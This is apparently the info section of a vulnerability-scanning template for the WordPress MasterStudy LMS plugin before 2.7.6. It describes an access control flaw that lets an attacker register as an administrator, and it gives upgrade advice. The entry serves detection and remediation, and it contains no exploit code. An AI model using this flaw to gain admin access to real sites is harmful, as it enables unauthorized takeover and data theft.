info:
  name: MasterStudy LMS <2.7.6 - Improper Access Control
  author: dwisiswant0,theamanrawat
  severity: critical
  description: |
    WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
